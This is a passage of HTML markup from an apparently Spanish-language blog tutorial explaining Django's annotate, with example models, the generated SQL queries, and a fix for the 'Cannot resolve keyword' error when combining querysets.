app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Conocer la consulta que realizará Django nos ayuda a entender que está sucediendo tras el ORM. Esto será de utilidad para profundizar en &lt;em&gt;annotate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate&#34;&gt;Django Annotate&lt;/h2&gt;&#xA;&lt;h3 id=&#34;por-que-usar-annotate&#34;&gt;¿Por qué usar annotate?&lt;/h3&gt;&#xA;&lt;p&gt;Usamos &lt;em&gt;annotate&lt;/em&gt; &lt;strong&gt;cuando queremos hacer una anotación en cada objeto que nos devuelva de un queryset&lt;/strong&gt;, como si quisiéramos agregar una propiedad extra a cada objeto de tu queryset, pero directo desde la base de datos.&lt;/p&gt;&#xA;&lt;p&gt;Annotate es muy útil para realizar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;búsquedas avanzadas de texto usando Postgres&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688599/coffee-bytes/Annotate-explanation-django_1_gefr30.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745688599/coffee-bytes/Annotate-explanation-django_1_gefr30.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django Annotate diagrama de funcionamiento donde se realiza un Join y luego una función como SUM&#34; width=&#34;2205&#34; height=&#34;1001&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Imagínate que queremos mostrar en una plantilla de Django cada vendedor, seguido de la suma del total de todos sus pedidos.&lt;/p&gt;&#xA;&lt;p&gt;La aproximación burda sería algo parecido a esto&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO HAGAS ESTO, ES INEFICIENTE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Seller&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_order_sum&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total_sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; order &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#78787e&#34;&gt;# Puedes verlo en la terminal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            total_sum &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; total_sum&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para mostrarlo en código HTML, usando el sistema de plantillas, llamaríamos al método una vez por cada elemento de nuestra lista de vendedores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% for seller in sellers_list %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {{ seller.get_order_sum }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin usar &lt;em&gt;annotate&lt;/em&gt; en Django necesitaríamos un query para la lista de vendedores y uno extra por cada vendedor, cuando son 3 vendedores, como aquí, no hay problema, pero ¿y si fueran 100 o 200 o más? Cada petición va ser muy costosa en tiempo y recursos.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Si examinas las queries verás una query diferente para cada vendedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# La consulta anterior es para obtener todos los vendedores&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT ••• FROM app_order WHERE app_order.seller_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Annotate puede reducir el número de consultas a la base de datos y con ello mejorar el tiempo que tarda nuestro servidor en devolver una respuesta.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-usar-annotate-en-django&#34;&gt;¿Cómo usar annotate en django?&lt;/h3&gt;&#xA;&lt;p&gt;En Django, annotate &lt;strong&gt;crea una anotación para cada uno de los elementos de nuestro queryset y devuelve el resultado como un queryset.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(sellers_with_orders_total&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, CAST(SUM(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total) AS NUMERIC) AS orders_total FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira la consulta, nos devolverá cada linea de la base de datos (vendedor) con una anotación extra llamada &lt;em&gt;orders_total&lt;/em&gt;, o el nombre que le hayamos asignado, que corresponde a la suma de los totales de sus respectivos pedidos.&lt;/p&gt;&#xA;&lt;p&gt;El mismo resultado que antes&amp;hellip; ¡pero en un solo query!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_total[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;300&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Los pedidos asociados a Poe suman 300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También podríamos contarlos, en lugar de sumarlos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum, Count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(sellers_with_orders_count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, COUNT(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id) AS orders_count FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, cada elemento del queryset poseerá una propiedad llamada &lt;em&gt;orders_count&lt;/em&gt;, que será igual al conteo de los pedidos que tiene, en este caso cada uno de los vendedores cuenta con dos pedidos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sellers_with_orders_count[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;concatenar-una-query-con-annotate&#34;&gt;Concatenar una query con annotate&lt;/h3&gt;&#xA;&lt;p&gt;Como mencioné al principio; &lt;em&gt;annotate&lt;/em&gt; devuelve un &lt;em&gt;queryset&lt;/em&gt;, &lt;strong&gt;por lo que podemos concatenar múltiples annotate para una sola consulta a la base de datos.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Seller&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sum, Count&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Sum(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders__total&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(combined_querysets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, COUNT(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id) AS orders_count, CAST(SUM(app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total) AS NUMERIC) AS orders_total FROM app_seller LEFT OUTER JOIN app_order ON (app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; app_order&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;seller_id) GROUP BY app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como usamos el doble guión bajo para acceder a la propiedad &amp;ldquo;total&amp;rdquo; del objeto Order desde Sellers, como harías en cualquier queryset de Django.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ahora cada elemento contiene tanto el conteo de sus pedidos, como el total de estos, todo en &lt;strong&gt;una sola consulta a la base de datos.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_total &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Decimal(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;300&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El total de los pedidos de Poe suman 300&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;combined_querysets[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;orders_count &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Poe tiene dos pedidos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;el-error-cannot-resolve-keyword-al-usar-annotate&#34;&gt;El error Cannot resolve keyword al usar annotate&lt;/h3&gt;&#xA;&lt;p&gt;Si combinas dos querysets y en uno de ellos has usado annotate, puedes no obtener los resultados que esperas. Lo anterior ocurre porque estás intentando unir dos querysets con campos desiguales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Poe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__startswith&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lovecraft&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ERROR&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; queryset_2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; queryset_1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# django.core.exceptions.FieldError: Cannot resolve keyword &amp;#39;orders_count&amp;#39; into field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para solucionar el problema debes igualar los querysets, para que ambos posean con el campo que agregaste con annotate.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;queryset_1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(orders_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Count(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;orders&amp;#39;&lt;/span&gt;))&lt;span 